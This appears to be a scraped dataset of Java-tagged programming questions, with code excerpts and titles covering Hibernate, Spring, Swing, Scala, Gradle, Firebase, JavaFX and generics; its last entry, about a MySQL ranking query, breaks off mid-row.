for ( int i = 0 ; i < parts.length - 2 ; i++ ) { String part = parts [ i ] .toLowerCase ( ) ; System.out.println ( part.substring ( 0 , part.indexOf ( `` x '' ) ) ) ; } System.out.println ( parts [ 2 ] ) ;",Java program to extract coefficents from quadratic equation +Java,"I am trying to solve the following problem : given N time intervals , each specified as ( start , end ) , non-overlapping , sorted based on start - find an interval that contains a given date . For instance given:3 falls into the first interval , 15 into fourth etc.So far I had the following base ideas : We can use binary seach to find the corresponding interval ( Log N ) Since it might be the case that only a few intervals are big , and the rest small , it might be worthwhile sorting the itervals based on their duration . Then , statistically , most of the time we would 'hit ' the longest intervals ( O ( 1 ) ) , only sometimes this would result in the worst case complexity of N.I was thinking whether there is a scope to combine the two approaches . One other idea is to sort based on the duration and insert all the intervals into a tree , with comparison by start date , This , in the worst case when longest durations are in chronological order , this approach is equal in performance to 2.The ideal solution I imagined would be to have a tree ( or some similar data structure ) that would contain the longest interval on the top , then the two branches would have the next two longest intervals etc . However , I see no way to branch in that tree i.e . since we make an explicit assumption that we insert based on the length , we can not really discard left or right side of the tree.Any comments would be greatly appreciated .","[ 1,4 ] [ 5,8 ] [ 9,10 ] [ 11,20 ]",Find interval containing given time instant +Java,"I have a simple application : ( The t2mapper is from this answer . ) The code compiles fine : but when run , it throws an IllegalAccessError ( before Hello ! gets printed ) : Note that with the last two lines replaced withororit prints ( 2,4 ) as expected . But when wrapped in a blockorit throws the exception.Why do the first and last ways cause an the JVM to throw an error at runtime ?","object Test extends App { implicit def t2mapper [ X , X0 < : X , X1 < : X ] ( t : ( X0 , X1 ) ) = new { def map [ R ] ( f : X = > R ) = ( f ( t._1 ) , f ( t._2 ) ) } println ( `` Hello ! '' ) val ( foo , bar ) = ( 1 , 2 ) map ( _ * 2 ) println ( ( foo , bar ) ) } $ scalac -versionScala compiler version 2.9.1 -- Copyright 2002-2011 , LAMP/EPFL $ scalac -unchecked Test.scala $ $ java -versionjava version `` 1.6.0_24 '' OpenJDK Runtime Environment ( IcedTea6 1.11.1 ) ( 6b24-1.11.1-4ubuntu3 ) OpenJDK Server VM ( build 20.0-b12 , mixed mode ) $ scala Testjava.lang.IllegalAccessError : tried to access field Test $ .reflParams $ Cache1 from class Test $ delayedInit $ body at Test $ delayedInit $ body . ( Test.scala:6 ) at Test $ . ( Test.scala:1 ) at Test $ . ( Test.scala ) at Test.main ( Test.scala ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:616 ) at scala.tools.nsc.util.ScalaClassLoader $ $ anonfun $ run $ 1.apply ( ScalaClassLoader.scala:78 ) at scala.tools.nsc.util.ScalaClassLoader $ class.asContext ( ScalaClassLoader.scala:24 ) at scala.tools.nsc.util.ScalaClassLoader $ URLClassLoader.asContext ( ScalaClassLoader.scala:88 ) at scala.tools.nsc.util.ScalaClassLoader $ class.run ( ScalaClassLoader.scala:78 ) at scala.tools.nsc.util.ScalaClassLoader $ URLClassLoader.run ( ScalaClassLoader.scala:101 ) at scala.tools.nsc.ObjectRunner $ .run ( ObjectRunner.scala:33 ) at scala.tools.nsc.ObjectRunner $ .runAndCatch ( ObjectRunner.scala:40 ) at scala.tools.nsc.MainGenericRunner.runTarget $ 1 ( MainGenericRunner.scala:56 ) at scala.tools.nsc.MainGenericRunner.process ( MainGenericRunner.scala:80 ) at scala.tools.nsc.MainGenericRunner $ .main ( MainGenericRunner.scala:89 ) at scala.tools.nsc.MainGenericRunner.main ( MainGenericRunner.scala ) println ( ( 1 , 2 ) map ( _ * 2 ) ) val ( foo , bar ) = ( 2 , 4 ) println ( ( foo , bar ) ) val intermediate = ( 1 , 2 ) map ( _ * 2 ) val ( foo , bar ) = intermediate println ( ( foo , bar ) ) { val intermediate = ( 1 , 2 ) map ( _ * 2 ) val ( foo , bar ) = intermediate println ( ( foo , bar ) ) } private val blah = { val intermediate = ( 1 , 2 ) map ( _ * 2 ) val ( foo , bar ) = intermediate println ( ( foo , bar ) ) }",Why does this Scala code throw IllegalAccessError at runtime ? +Java,"Hibernate mapping question where the behavior is ambiguous and/or dangerous . I have a one-to-many relationship that has a cascade-delete-orphan condition AND a where condition to limit the items in the collection . Mapping here - Now suppose that that I have a User object which is associated to one or more Email objects , at least one of which has a 'true ' value for the deleted property . Which of the following two will happen when I call session.delete ( ) on the User object ? The User and all the Email objects , including those with deleted=true , are deletedThe User and the Email objects that are deleted ! =null are deleted.On one hand , scenario 1 ) ignores the where condition , which may not be correct according to the domain model . BUT in scenario 2 ) if the parent is deleted , and there 's a foreign key constraint on the child ( email ) table 's join key , then the delete command will fail . Which happens and why ? Is this just another example of how Hibernate 's features can be ambiguous ?","< hibernate-mapping > < class name= '' User '' table= '' user '' > < ! -- properties and id ... -- > < set table= '' email '' inverse= '' true '' cascade= '' all , delete-orphan '' where= '' deleted ! =true '' > < key column= '' user_id '' > < one-to-many class= '' Email '' / > < /set > < /class > < /hibernate-mapping >",Combining delete-orphan with a where condition +Java,"I was using a Stream.Builder and I stumbled upon the fact that this interface has both the methods accept ( T t ) and add ( T t ) . The only difference is that the former returns void and the latter returns a Stream.Builder.The documentation even mentions these methods to have the same default implementation : The default implementation behaves as if : Note that they forgot a semicolon , but that 's another story.My question is : why do they have two methods to add something to the stream builder ? I think this clutters the API , and I thought they wanted to avoid that.Is there any compelling reason to do so ?",accept ( t ) return this ;,Why does Stream.Builder have both add and accept methods ? +Java,"I have this interface : Implemented in some kind of dto classes and this method in another class : How can I access the method parse ( ResultSet rs ) of the interface that can parse a specific T ? Is there a working , different and/or better method to do that ?","public interface ParsableDTO < T > { public < T > T parse ( ResultSet rs ) throws SQLException ; } public < T extends ParsableDTO < T > > List < T > getParsableDTOs ( String table , Class < T > dto_class ) { List < T > rtn_lst = new ArrayList < T > ( ) ; ResultSet rs = doQueryWithReturn ( StringQueryComposer .createLikeSelectQuery ( table , null , null , null , true ) ) ; try { while ( rs.next ( ) ) { rtn_lst.add ( T.parse ( rs ) ) ; //WRONG , CA N'T ACCESS TO parse ( ... ) OF ParsableDTO < T > } rs.close ( ) ; } catch ( SQLException e ) { System.err.println ( `` Ca n't parse DTO from `` + table + `` at `` + dateformat.format ( new Date ( ) ) ) ; System.err.println ( `` \nError on `` + e.getClass ( ) .getName ( ) + `` : `` + e.getMessage ( ) ) ; e.printStackTrace ( ) ; } return rtn_lst ; }",How to implements a method of a generic interface ? +Java,I always see advices in this site of overriding getPreferredSize ( ) instead of using setPreferredSize ( ) as shown in these previous threads for example.Use of overriding getPreferredSize ( ) instead of using setPreferredSize ( ) for fixed size ComponentsShould I avoid the use of set ( Preferred|Maximum|Minimum ) Size methods in Java Swing ? Overriding setPreferredSize ( ) and getPreferredSize ( ) See this example : setPreferredSize ( ) Sets the preferred size of this component . getPreferredSize ( ) If the preferredSize has been set to a non-null value just returns it . If the UI delegate 's getPreferredSize method returns a non null value then return that ; otherwise defer to the component 's layout manager . So doing this clearly breaks Liskov Substitution Principle.prefferedSize is a bound property so when you set it a firePropertyChange is executed . So my question is when you override getPrefferedSize ( ) do n't you need to override setPreferredSize ( .. ) too ? Example : Now we see that we get identical results but listeners will get notified with real values and besides we do n't break LSP cause setPreferredSize states Sets the preferred size of this component . but not how .,"public class MyPanel extends JPanel { private final Dimension dim = new Dimension ( 500,500 ) ; @ Override public Dimension getPreferredSize ( ) { return new Dimension ( dim ) ; } public static void main ( String args [ ] ) { JComponent component = new MyPanel ( ) ; component.setPreferredSize ( new Dimension ( 400,400 ) ) ; System.out.println ( component.getPreferredSize ( ) ) ; } } public class MyPanel extends JPanel { private Dimension dim = null ; @ Override public Dimension getPreferredSize ( ) { if ( dim == null ) return super.getPreferredSize ( ) ; return new Dimension ( dim ) ; } @ Override public void setPrefferedSize ( Dimension dimension ) { if ( dim == null ) dim = new Dimension ( 500,500 ) ; super.setPreferredSize ( this.dim ) ; // } public static void main ( String args [ ] ) { JComponent component = new MyPanel ( ) ; component.setPreferredSize ( new Dimension ( 400,400 ) ) ; System.out.println ( component.getPreferredSize ( ) ) ; } }",Overriding getPreferredSize ( ) breaks LSP +Java,I am trying to generate a bean that would represent java.nio.file.Path using a static method Paths.get ( String path ) . my current Spring setup looks as follows : but it comes back with an excpetion No matching factory method found : factory method 'get ' . Any ideas why that is the case ?,< bean id= '' myPath '' class= '' java.nio.file.Paths '' factory-method= '' get '' > < constructor-arg value= '' c : \\tmp\\ '' / > < /bean >,Spring - factory method for Path +Java,The code below compiles fine but throws an exception at runtime . Is this the expected behaviour and why ? Code : Output :,"public static void main ( String [ ] args ) { A < Integer > a = new A < > ( ) ; System.out.println ( a.min ( ) ) ; //prints null as expected System.out.println ( a.max ( ) ) ; //throws exception } static class A < T extends Number & Comparable < ? super T > > { Stream < T > s = Stream.empty ( ) ; public T min ( ) { return s.min ( ( t1 , t2 ) - > t1.compareTo ( t2 ) ) .orElse ( null ) ; } public T max ( ) { return s.max ( T : :compareTo ) .orElse ( null ) ; } } nullException in thread `` main '' java.lang.BootstrapMethodError : call site initialization exception at java.lang.invoke.CallSite.makeSite ( CallSite.java:341 ) at java.lang.invoke.MethodHandleNatives.linkCallSiteImpl ( MethodHandleNatives.java:307 ) at java.lang.invoke.MethodHandleNatives.linkCallSite ( MethodHandleNatives.java:297 ) at abc $ A.max ( abc.java:19 ) at abc.main ( abc.java:8 ) Caused by : java.lang.invoke.LambdaConversionException : Invalid receiver type class java.lang.Number ; not a subtype of implementation type interface java.lang.Comparable at java.lang.invoke.AbstractValidatingLambdaMetafactory.validateMetafactoryArgs ( AbstractValidatingLambdaMetafactory.java:233 ) at java.lang.invoke.LambdaMetafactory.metafactory ( LambdaMetafactory.java:303 ) at java.lang.invoke.CallSite.makeSite ( CallSite.java:302 ) ... 4 more",LambdaConversionException when mixing method reference and generics +Java,"I just updated my android studio to the 2.2 Preview 3 and on trying the new constraint layout i placed a edittext into the layout and ran the app on my phone but this is what i goti then tried converting the constraint layout back to how the code was before constraint layout , the results were the same.activity_main.xmlcontent_main.xmlPlease any help would be much appreciated .",< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < android.support.design.widget.CoordinatorLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : fitsSystemWindows= '' true '' tools : context= '' com.ellohinc.constrainttest.MainActivity '' > < android.support.design.widget.AppBarLayout android : layout_height= '' wrap_content '' android : layout_width= '' match_parent '' android : theme= '' @ style/AppTheme.AppBarOverlay '' > < android.support.v7.widget.Toolbar android : id= '' @ +id/toolbar '' android : layout_width= '' match_parent '' android : layout_height= '' ? attr/actionBarSize '' android : background= '' ? attr/colorPrimary '' app : popupTheme= '' @ style/AppTheme.PopupOverlay '' / > < /android.support.design.widget.AppBarLayout > < include layout= '' @ layout/content_main '' / > < android.support.design.widget.FloatingActionButton android : id= '' @ +id/fab '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_gravity= '' bottom|end '' android : layout_margin= '' @ dimen/fab_margin '' android : src= '' @ android : drawable/ic_dialog_email '' / > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < android.support.constraint.ConstraintLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : id= '' @ +id/content_main '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' app : layout_behavior= '' @ string/appbar_scrolling_view_behavior '' tools : showIn= '' @ layout/activity_main '' tools : context= '' com.ellohinc.constrainttest.MainActivity '' > < TextView android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : text= '' Hello World ! '' app : layout_constraintBottom_toBottomOf= '' @ +id/content_main '' app : layout_constraintLeft_toLeftOf= '' @ +id/content_main '' app : layout_constraintRight_toRightOf= '' @ +id/content_main '' app : layout_constraintTop_toTopOf= '' @ +id/content_main '' / > < /android.support.constraint.ConstraintLayout >,Android Studio 2.2 Preview 3 Layout Error +Java,"I 'm using spring-boot 1.5.4 with spring-data-jpa and I 'm trying to override the auto generated foreign key name during spring.jpa.hibernate.ddl-auto=create . For simple id , I was able to override it : simple_fkBut not for foreign key with composite id : FKms12cl9ma3dk8egqok1dasnfqWhat is wrong with my code ? I also tried @ PrimaryKeyJoinColumn . Please see the class definitions below .","Hibernate : alter table my_entity add constraint simple_fk foreign key ( simple_id ) references simple Hibernate : alter table my_entity add constraint FKms12cl9ma3dk8egqok1dasnfq foreign key ( composite_id1 , composite_id2 ) references composite @ Entitypublic class Simple { @ Id private long id ; } @ Entitypublic class Composite { @ Id private CompositeId id ; } @ Embeddablepublic class CompositeId { @ Column private long id1 ; @ Column private long id2 ; } @ Entitypublic class MyEntity { @ ManyToOne @ JoinColumn ( foreignKey = @ ForeignKey ( name = `` simple_fk '' ) , name = `` simple_id '' , referencedColumnName = `` id '' ) private Simple simple ; @ ManyToOne @ JoinColumns ( foreignKey = @ ForeignKey ( name = `` composite_fk '' ) , value = { @ JoinColumn ( name = `` composite_id1 '' , referencedColumnName = `` id1 '' ) , @ JoinColumn ( name = `` composite_id2 '' , referencedColumnName = `` id2 '' ) } ) private Composite composite ; }",Override the Foreign Key Name pointing to Composite Key JPA/Hibernate +Java,"I 'm looking at this code of the correct way to do a singleton in java : What is an efficient way to implement a singleton pattern in Java ? I 'm a little confused , how do you add a method to a enumeration ? And the enumeration in the code above , does n't even make sense to me , you have the symbol : how is that a correct line ? I 'm coming from c # , and this syntax got me curious and I 'm hoping someone can explain or make sense of the above.I guess it means java has a more purer idea of an enumeration as it can have behaviour ?","public enum Elvis { INSTANCE ; private final String [ ] favoriteSongs = { `` Hound Dog '' , `` Heartbreak Hotel '' } ; public void printFavorites ( ) { System.out.println ( Arrays.toString ( favoriteSongs ) ) ; } } INSTANCE ;",Java enumerations support methods ? But not in c # ? +Java,"I 'm trying to get some information from Firebase Real-time database without success . I do n't know what I 'm doing wrong . I also tried the doc 's example and they did n't work . Here 's my code and my firebase db structue : Topics.java : Main.javaI have wait for the CountDownLatch for 5+ minutes , which I think is enough time for it to trigger . Also , important note : I have successfully sent message through firebase cloud messaging , so I do n't think that it is a problem with the credentials .",public class Topics { private String name ; public Topics ( ) { } public Topics ( String name ) { this.name = name ; } public String getName ( ) { return name ; } public void setName ( String name ) { this.name = name ; } } public static void main ( String [ ] args ) { // TODO Auto-generated method stub FileInputStream serviceAccount ; FirebaseOptions options = null ; try { serviceAccount = new FileInputStream ( `` .// ... '' ) ; options = new FirebaseOptions.Builder ( ) .setCredentials ( GoogleCredentials.fromStream ( serviceAccount ) ) .setDatabaseUrl ( `` ... '' ) .build ( ) ; } catch ( FileNotFoundException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } FirebaseApp.initializeApp ( options ) ; String topics = getDatafromFirebase ( ) ; System.out.println ( `` Everything right ! `` ) ; } private static String getDatafromFirebase ( ) { CountDownLatch done = new CountDownLatch ( 1 ) ; StringBuilder b = new StringBuilder ( ) ; DatabaseReference dbRef = FirebaseDatabase.getInstance ( ) .getReference ( ) ; dbRef.child ( `` topics '' ) .addValueEventListener ( new ValueEventListener ( ) { @ Override public void onDataChange ( DataSnapshot snapshot ) { // TODO Auto-generated method stub if ( snapshot.exists ( ) ) { for ( DataSnapshot s : snapshot.getChildren ( ) ) { Topics t = s.getValue ( Topics.class ) ; b.append ( t.getName ( ) ) ; b.append ( `` `` ) ; done.countDown ( ) ; } } else { b.append ( `` No existe `` ) ; done.countDown ( ) ; } } @ Override public void onCancelled ( DatabaseError error ) { // TODO Auto-generated method stub b.append ( `` Error : `` +error.getDetails ( ) ) ; done.countDown ( ) ; } } ) ; try { done.await ( ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } return b.toString ( ) ; },Get information from Firebase Realtime Database with Firebase Admin SDK +Java,"I want to the milliseconds to the next hours . For exampleNow time - > 10:01:23 2nd Oct , 2018 , Want remaining milliseconds to 11:00:00 2nd Oct , 2018.The Now time is dynamic , it can be 23:56:56 2nd Oct , 2018 and next hour is at 00:00:00 3rd Oct , 2018.I was trying something like this , but it is adding 1 hour to the startDate . But I want exact next hour.Any help is welcomed .","Calendar calendar = Calendar.getInstance ( ) ; calendar.setTimeInMillis ( startDate.getMillis ( ) ) ; calendar.add ( Calendar.HOUR , 1 ) ;",How to get the milliseconds to the next hour +Java,"I have a problem to create a minimum number of sets to cover the whole data set.The problem has a data domain and a few exclusivity constraints . The exclusivity constraint states which data should not be in the same set.The goal is to find minimum number of sets . The number of the sets does n't have to be as balanced as possible ( but would be nice to have ) .Example 1 : Example 2 : Example 3 : Example 4 : The ! = here is transitive.Does anyone know such an algorithm to solve this problem efficiently . I could n't remember any algorithm I leard from school that solves this problem , but that was more than 10 years ago.Help is appreciated.JT","Domain = { 1 , 2 , 3 , 4 , 5 , 6 } Exclusivity = 1 ! =2 , 3 ! =4 , 4 ! =5 , 5 ! =6 , Answer is two sets : { 1 , 3 , 5 } , { 2 , 4 , 6 } Domain = { 1 , 2 , 3 , 4 , 5 , 6 } Exclusivity = 1 ! =2 , 2 ! =3 , 3 ! =4 , 4 ! =5anwser is two sets : { 1 , 3 , 5 , 6 } , { 2 , 4 } Domain = { 1 , 2 , 3 , 4 , 5 } Exclusivity = 1 ! =2 , 2 ! =3 , 3 ! =4 , 4 ! =5 , 5 ! =1answer is three sets : { 1 , 3 } , { 2 , 4 } , { 5 } Domain = { 1 , 2 , 3 , 4 , 5 } Exclusivity = 1 ! =2 ! =3 ! =4 , 4 ! =5 , answer is four sets : { 1 , 5 } , { 2 } , { 3 } , { 4 }",Create the minimum number of sets to cover all data +Java,Let 's say I have two classes and two methods : Why does getItems2 compile while getItems gives compiler errorSo when I get the value of the Optional returned by findFirst and wrap it again with Optional.of the compiler recognizes the inheritance but not if I use directly the result of findFirst .,class Scratch { private class A { } private class B extends A { } public Optional < A > getItems ( List < String > items ) { return items.stream ( ) .map ( s - > new B ( ) ) .findFirst ( ) ; } public Optional < A > getItems2 ( List < String > items ) { return Optional.of ( items.stream ( ) .map ( s - > new B ( ) ) .findFirst ( ) .get ( ) ) ; } } incompatible types : java.util.Optional < Scratch.B > can not be converted to java.util.Optional < Scratch.A >,Stream.findFirst different than Optional.of ? +Java,"We want to use only some of the given metrics from micrometer in our spring-boot application . We find the following code-snippet in the docs . This should disable all metrics by default and should enable us to create a whitelist of possible metrics.Spring blog about Micrometer metrics The problem is , that it does n't work . All existing metrics are written to our graphite instance.We found already a workaround but we would like to edit our metrics in our property files.This is our current workaround : Do anyone has any experience to share , what we have to think of to reach this goal within the property-file configuration ?","management.metrics.enable.root=falsemanagement.metrics.enable.jvm=true @ Configurationpublic class MicrometerGraphiteConfig { @ Bean public MeterRegistryCustomizer < MeterRegistry > commonTags ( ) { return registry - > registry .config ( ) .meterFilter ( MeterFilter.denyUnless ( this : :isMetricToInclude ) ) .commonTags ( `` a_tag '' , `` some_common_tags '' ) ; } private boolean isMetricToInclude ( Meter.Id id ) { return id.getName ( ) .startsWith ( `` jvm . `` ) ; } }",How to specify a whitelist of the metrics I want to use in spring-boot with micrometer +Java,"I have a Kitchen.jar file . I need to modify a class inside it . I decompile it with JD . Then I modify the Toster.java file and compile it with : And then I take it back into the Kitchen.jar with : All works except for one problem . When I open updated Kitchen.jar in JD I see that local variables inside all methods are renamed to something like localLongVar . Why ? The reason I ask is because Kitchen.jar refuses to work after the modification . And I suspect it has to be the compilation problem . Maybe I 've misused some flags or anything . Not sure . I have no knowledge of Java whatsoever , except for the basic syntax.My guess is that I compile it with latest 1.7 version and original jar is compiled with older JDK . That may explain failure of operation , but that does n't explain the renaming of locals.EXAMPLEThe random line from the original jar : And the very same line of my class : So its result vs arrayOfBigInteger1 .",javac -classpath . Toster.java jar -uf Kitchen.jar Toster.class BigInteger [ ] result = new BigInteger [ bis.length / 2 ] ; BigInteger [ ] arrayOfBigInteger1 = new BigInteger [ paramArrayOfBigInteger.length * 2 ] ;,Why my compiled class has it 's methods local variables renamed ? +Java,"Suppose the following : I would like to know if it is always the case that either the defining classloader of SomeAnnotation is equal to or a parent of the initiating classloader of Foo.I have read JVMS v8 section 5.3. but I 'm not sure what applies here . Section 5.3.4 talks about loading constraints , but they seem not to apply for annotations.The question I 'm asking is because code like this : will fail in the presence of different classloaders . I know I could use getAnnotations and search in the resulting array for an element whose class name is equal to the name of SomeAnnotation . But I 'm wondering if the following will work too :",@ SomeAnnotationpublic interface Foo { } Class < ? > fooClass = //will in some way obtain a reference to class Foo fooClass.getAnnotation ( SomeAnnotation.class ) ; Class < ? > fooClass = //will in some way obtain a reference to class Foo fooClass.getAnnotation ( ( Class < ? extends Annotation > ) fooClass .getClassLoader ( ) .loadClass ( SomeAnnotation.class.getName ( ) ) ) ;,Is the defining classloader of a class level annotation always a parent of the initiating classloader of that class ? +Java,I am trying to check what invoke dynamic is used http : //blog.headius.com/2008/09/first-taste-of-invokedynamic.htmlBytecode for the sameThe call to lambda expression is getting replaced with invokedynamic .But I am unable to understand what is the advantage of using such approach .How is invokedynamic useful or better than anonymousclass generation.how is it different from invokeinterface which gets generated from below code as it is also doing runtime check .,public class HelloWorld { public static void main ( String [ ] args ) { GreetingLambda lamda= ( ) - > System.out.println ( `` Hello '' ) ; lamda.greet ( ) ; GreetingLambda lamda2= ( ) - > System.out.println ( `` Hello '' ) ; lamda2.greet ( ) ; } } interface GreetingLambda { void greet ( ) ; } public class HelloWorld { /* compiled from HelloWorld.java *//* inner class *//* public final static Lookup */public HelloWorld ( ) { /* L2 */ 0 aload_0 ; /* this */ 1 invokespecial 8 ; /* java.lang.Object ( ) */ 4 return ; } void print ( GreetingLambda arg0 ) { /* L5 */ 0 aload_1 ; /* l */ 1 invokeinterface 16 1 ; /* void greet ( ) */ /* L6 */ 6 return ; } public static void main ( java.lang.String [ ] args ) { /* L10 */ 0 invokedynamic 27 ; /* GreetingLambda greet ( ) */ 3 nop ; 4 nop ; 5 astore_1 ; /* lamda */ /* L11 */ 6 aload_1 ; /* lamda */ 7 invokeinterface 16 1 ; /* void greet ( ) */ /* L12 */ 12 invokedynamic 28 ; /* GreetingLambda greet ( ) */ 15 nop ; 16 nop ; 17 astore_2 ; /* lamda2 */ /* L13 */ 18 aload_2 ; /* lamda2 */ 19 invokeinterface 16 1 ; /* void greet ( ) */ /* L17 */ 24 return ; } private static void lambda $ 0 ( ) { /* L10 */ 0 getstatic 34 ; /* java.lang.System.out */ 3 ldc 40 ; /* `` Hello '' */ 5 invokevirtual 42 ; /* void println ( java.lang.String arg0 ) */ 8 return ; } private static void lambda $ 1 ( ) { /* L12 */ 0 getstatic 34 ; /* java.lang.System.out */ 3 ldc 40 ; /* `` Hello '' */ 5 invokevirtual 42 ; /* void println ( java.lang.String arg0 ) */ 8 return ; } } List < String > a = new ArrayList < String > ( ) ;,java 8 invoke dynamic advantage +Java,"I am writing a Java library and I would like to build the library with Gradle and then test it from a local test project.I would prefer using Gradle 3.3 for my objective.The library should be built for Java5 and higher.So far my build.gradle looks like this : The source code of the library is located in src/main/java/io/simplepush/Notification.java and depends on the dependencies stated in the build.gradle file.Building the library with ./gradlew build works fine and generates build/jars/main/jar/main.jar.However when I run a test project from IntelliJ ( after including main.jar into the test project ) , I get the following runtime error : Exception in thread `` main '' java.lang.NoClassDefFoundError : org/apache/http/HttpEntity.It seems like the test project does not know about the runtime dependencies needed by my library.I am not sure on what is the correct way to tell the test project about the dependencies of my library.I do not want a fat jar which includes all dependencies.Listing all dependencies in the test project itself is also not an option.Preferably I want the library itself to tell the test project about which dependencies it needs .",plugins { id 'jvm-component ' id 'java-lang ' } repositories { mavenCentral ( ) } model { components { main ( JvmLibrarySpec ) { sources { java { dependencies { module 'commons-codec : commons-codec:1.10 ' module 'org.apache.httpcomponents : httpcore:4.4.6 ' module 'org.apache.httpcomponents : httpclient:4.5.3 ' } } } api { exports 'io.simplepush ' } targetPlatform 'java5 ' } } },Including Java library built with Gradle throws NoClassDefFoundError +Java,"Since Java 5 , we have the new java.lang.Iterable type that can be used in foreach loops as such : The Iterable contract does not specify whether its iterator ( ) method can be called more than once before disposing of the Iterable . I.e. , it is not clear whether the following can be expected to work for all Iterables : For instance , an Iterator wrapping implementation can not be used twice : For most Iterables , this is irrelevant , as they are in fact retro-fitted Collection API types such as List , Set , which already have well-defined contracts for their iterator ( ) methods.My question is : Is my OneShotIterable implementation violating some contract that I 'm overlooking ? In other words , will users of an Iterable expect it to be reusable ? If so , is there an `` official '' recommendation by the Java 5 expert group how to deal with such `` one shot '' Iterables ( e.g . throw an IllegalStateException on a second call ) ?",for ( Object element : iterable ) ; for ( Object element : iterable ) ; for ( Object element : iterable ) ; public class OneShotIterable < T > implements Iterable < T > { private final Iterator < T > it ; public OneShotIterable ( Iterator < T > it ) { this.it = it ; } @ Override public Iterator < T > iterator ( ) { return it ; } },Is there any official contract for the Iterable interface with respect to multiple usage ? +Java,"I have a page download , where the file you want to download must be downloaded first from other server use ftp.i use this code to download from ftp : if i use this program , i need to save file.txt in my directory /Users/B/Downloads/ then i need to use my other code to download file.txt from /Users/B/Downloads/.is it possible if i download the file.txt without save it first in my directory /Users/B/Downloads/ ?","ftpClient.connect ( server , port ) ; ftpClient.login ( user , pass ) ; ftpClient.enterLocalPassiveMode ( ) ; ftpClient.setFileType ( FTP.BINARY_FILE_TYPE ) ; String remoteFile1 = `` /Users/A/file.txt '' ; File downloadFile1 = new File ( `` /Users/B/Downloads/file.txt '' ) ; OutputStream outputStream1 = new BufferedOutputStream ( new FileOutputStream ( downloadFile1 ) ) ; boolean success = ftpClient.retrieveFile ( remoteFile1 , outputStream1 ) ; outputStream1.close ( ) ;",can I download file from ftp without save it my directory first +Java,"In the Hidden Features of Java question , I was interested in the answer about instance initializers.I was wondering how to modify this line : in order to make it perform the same job with nested Arraylists : is that possible ?",List < Integer > numbers = new ArrayList < Integer > ( ) { { add ( 1 ) ; add ( 2 ) ; } } ; ArrayList < ArrayList < Integer > > numbers = ...,Hidden Features of Java - ArrayList / instance initializers clarification +Java,"I 'm creating an alert in JavaFX . But I 'd like the user to be able to copy the message to the clipboard . How can I do that ? By default it looks like a standard label , which does n't allow that .",Alert alert = new Alert ( AlertType.CONFIRMATION ) ; alert.setTitle ( `` Stuff '' ) ; alert.setContentText ( messageIWannaCopy ( ) ) ; conf.show ( ) ;,JavaFX Copy text from alert +Java,"Class SecureDispatchService from gwt like this : RemoteServiceRelativePath : Test code is very simple : But the result is not wanted : I was running this code in eclipse , with JRE1.7SecureDispatchService is in this jar from google : I used mvn eclipse : eclipse to generate the project.This jar file is as a referenced libraries of eclipse project , and its real path is in my .m2/repostory .","@ RemoteServiceRelativePath ( `` dispatch '' ) public interface SecureDispatchService extends RemoteService { Result execute ( String sessionId , Action < ? > action ) throws DispatchException ; } @ Documented @ Retention ( RetentionPolicy.RUNTIME ) @ Target ( ElementType.TYPE ) public @ interface RemoteServiceRelativePath { /** * The relative path for the { @ link RemoteService } implementation . * * @ return relative path for the { @ link RemoteService } implementation */ String value ( ) ; } package com.name.sbts.wbts.sm ; import net.customware.gwt.dispatch.client.secure.SecureDispatchService ; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath ; public class TestClass { public static void main ( String [ ] args ) { Class c = SecureDispatchService.class ; System.out.println ( c.getAnnotation ( RemoteServiceRelativePath.class ) ) ; System.out.println ( c.getAnnotations ( ) .length ) ; } } null0 gwt-dispatch-1.2.0.jar",class.getAnnotation and getAnnotations does n't work properly +Java,"Lets say I have the following structure : Java will now complain that class C must implement abstract method foo from A.I can work around this problem relatively easy by redefining the function in C and simply calling B.super.foo ( ) ; .however I do not understand why the default function from interface B does not forfill this requirement on its own , and I would like to have a better understanding of the underlying mechanics of java .",abstract class A { abstract boolean foo ( ) ; } interface B { default boolean foo ( ) { return doBlah ( ) ; } } class C extends A implements B { //function foo },Default interface method for abstract superclass +Java,"I have two variables as follows : List < Basket > bigBasket = new ArrayList < > ( ) ; Basket basket = new Basket ( ) ; I wrote the following code to add a relationship between items in bigBasket and basket : Now this is all fine but IntelliJ inspected the code and offered to improve it with the using a method reference so I got the following : So the above has fewer lines but what is the actual advantage of it ? I am not entirely clued up on the benefits of Java 8 features so that 's probably why I do n't really understand what 's happening . In my opinion , the `` improved '' version of code is not very readable in the sense of immediately understanding what 's happening vs a standard for loop assuming you do n't have much knowledge about Java 8 features.Could someone explain the benefits of the `` improved '' code vs the standard for loop ? EDIT : Removed incorrect references to lambdas . The code is just using method references - just a lingo mistake on my part !",for ( Fruit specialFruit : bigBasket.get ( 0 ) .getFruitInBasket ( ) ) { for ( Fruit fruit : basket.getFruitInBasket ( ) ) { specialFruit.addRelationship ( fruit ) ; } } for ( Fruit specialFruit : bigBasket.get ( 0 ) .getFruitInBasket ( ) ) { basket.getFruitInBasket ( ) .forEach ( specialFruit : :addRelationship ) ; },What 's the advantage of using method references in this case ? +Java,I have a piece of SQL that works out the rank of a golfer on the leaderboard . I 'm pretty new to Spring and I do n't think I can execute this using Spring JDBC so I think I need to convert it to a mySQL stored procedure.Can anyone give me some pointers as to what I need to convert ? Simply putting CREATE PROCEDURE and the param list around this does n't work .,"SET @ rank = 1 , @ prev_val = NULL , @ prev_rank = NULL ; SELECT rank FROM ( SELECT @ rank : = IF ( @ prev_val ! =winnings , @ prev_rank+1 , @ rank ) AS 